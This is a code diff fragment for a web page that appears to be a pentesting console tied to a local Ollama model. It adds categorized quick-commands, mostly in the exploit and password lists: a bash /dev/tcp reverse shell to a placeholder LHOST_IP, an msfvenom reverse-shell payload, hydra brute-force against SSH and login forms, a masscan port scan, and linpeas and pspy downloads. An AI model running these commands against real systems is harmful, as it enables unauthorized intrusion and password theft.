|
|
|
| 812 |
],
|
| 813 |
+
network:[
|
| 814 |
+
{l:'netstat', c:'ss -tulnp'},
|
| 815 |
+
{l:'arp scan', c:'arp-scan --localnet'},
|
| 816 |
+
{l:'tcpdump', c:'tcpdump -i any -c 20 -n'},
|
| 817 |
+
{l:'netdiscover', c:'netdiscover -r 192.168.1.0/24 -P | head -30'},
|
| 818 |
+
{l:'masscan', c:'masscan -p1-65535 TARGET_IP --rate=1000'},
|
| 819 |
+
{l:'traceroute', c:'traceroute TARGET_IP'},
|
| 820 |
+
{l:'nc listen', c:'nc -lvnp 4444'},
|
| 821 |
+
{l:'tshark', c:'tshark -i any -c 50'},
|
| 822 |
+
{l:'ip route', c:'ip route show'},
|
|
|
|
|
|
|
|
|
|
|
|
|
| 823 |
],
|
| 824 |
+
exploit:[
|
| 825 |
+
{l:'msfconsole', c:'msfconsole -q -x "version; exit"'},
|
| 826 |
+
{l:'searchsploit', c:'searchsploit apache 2.4'},
|
| 827 |
+
{l:'msfvenom shell', c:'msfvenom -p linux/x86/shell_reverse_tcp LHOST=LHOST_IP LPORT=4444 -f elf -o /tmp/shell.elf'},
|
| 828 |
+
{l:'suid bins', c:'find / -perm -u=s -type f 2>/dev/null'},
|
| 829 |
+
{l:'sudo -l', c:'sudo -l 2>/dev/null'},
|
| 830 |
+
{l:'crontab', c:'cat /etc/crontab && ls /etc/cron*'},
|
| 831 |
+
{l:'linpeas dl', c:'curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh'},
|
| 832 |
+
{l:'pspy dl', c:'curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/pspy64 && chmod +x /tmp/pspy64'},
|
| 833 |
+
{l:'bash revshell', c:'echo "bash -i >& /dev/tcp/LHOST_IP/4444 0>&1"'},
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 834 |
],
|
| 835 |
+
password:[
|
| 836 |
+
{l:'john', c:'john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash.txt'},
|
| 837 |
+
{l:'hashcat md5', c:'hashcat -m 0 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
|
| 838 |
+
{l:'hashcat ntlm', c:'hashcat -m 1000 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
|
| 839 |
+
{l:'hydra ssh', c:'hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP'},
|
| 840 |
+
{l:'hydra http', c:"hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form 'TARGET_IP/login:user=^USER^&pass=^PASS^:Invalid'"},
|
| 841 |
+
{l:'rockyou.txt', c:'ls -lh /usr/share/wordlists/rockyou.txt* && gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null; echo done'},
|
| 842 |
+
{l:'identify hash', c:'echo "PASTE_HASH" | hash-identifier 2>/dev/null || hashid PASTE_HASH'},
|
| 843 |
+
{l:'crunch', c:'crunch 8 8 abcdef0123456789 -o /tmp/custom.txt'},
|
|
|
|
|
|
|
|
|
|
|
|
|
| 844 |
],
|
| 845 |
+
forensics:[
|
| 846 |
+
{l:'file check', c:'file /tmp/*'},
|
| 847 |
+
{l:'strings', c:'strings /tmp/TARGET_FILE | head -50'},
|
| 848 |
+
{l:'xxd', c:'xxd /tmp/TARGET_FILE | head -30'},
|
| 849 |
+
{l:'binwalk', c:'binwalk /tmp/TARGET_FILE'},
|
| 850 |
+
{l:'binwalk extract', c:'binwalk -e /tmp/TARGET_FILE'},
|
| 851 |
+
{l:'exiftool', c:'exiftool /tmp/TARGET_FILE'},
|
| 852 |
+
{l:'steghide', c:'steghide info /tmp/TARGET_FILE'},
|
| 853 |
+
{l:'foremost', c:'foremost -i /tmp/TARGET_FILE -o /tmp/out'},
|
| 854 |
+
{l:'tcpdump read', c:'tcpdump -r /tmp/TARGET.pcap | head -30'},
|
| 855 |
+
{l:'dmesg', c:'dmesg | tail -30'},
|
|
|
|
|
|
|
|
|
|
|
|
|
| 856 |
],
|
| 857 |
+
ollama:[
|
| 858 |
+
{l:'list models', c:'ollama list'},
|
| 859 |
+
{l:'ollama ps', c:'ollama ps'},
|
| 860 |
+
{l:'ollama version', c:'ollama version'},
|
| 861 |
+
{l:'api health', c:'curl -s http://localhost:11434/ && echo'},
|
| 862 |
+
{l:'api tags', c:'curl -s http://localhost:11434/api/tags | python3 -m json.tool'},
|
| 863 |
+
{l:'disk usage', c:'du -sh ~/.ollama/models/ 2>/dev/null'},
|
| 864 |
+
{l:'gpu info', c:'nvidia-smi 2>/dev/null || echo "No GPU"'},
|
| 865 |
+
{l:'pull tinyllama', c:'ollama pull tinyllama'},
|
| 866 |
+
{l:'pull phi3', c:'ollama pull phi3'},
|
| 867 |
+
{l:'run hydra-ai', c:'ollama run hydra-ai "Who are you?"'},
|
|
|
|
|
|
|
|
|
|
| 868 |
],
|
| 869 |
};
|
| 870 |
|
| 871 |
+
function switchCat(btn,cat){
|
| 872 |
+
document.querySelectorAll('.cat-btn').forEach(b=>b.classList.remove('active'));
|
|
|
|
| 873 |
btn.classList.add('active');
|
| 874 |
+
renderQcmds(cat);
|
|
|
|
| 875 |
}
|
| 876 |
+
function renderQcmds(cat){
|
| 877 |
+
const cmds=KCMDS[cat]||[];
|
| 878 |
+
document.getElementById('qcmds').innerHTML=
|
| 879 |
+
cmds.map(c=>`<span class="qc" title="${c.c}" onclick="setCmd(${JSON.stringify(c.c)})">${c.l}</span>`).join('');
|
|
|
|
|
|
|
| 880 |
}
|
| 881 |
|
| 882 |
+
// ββ INIT βββββββββββββββββββββββββββββββββββββββββββββ
|
|
|
|
|
|
|
| 883 |
checkStatus();
|
| 884 |
+
setInterval(checkStatus,30000);
|
| 885 |
+
renderQcmds('system');
|
| 886 |
</script>
|
| 887 |
</body>
|
| 888 |
+
</html>
|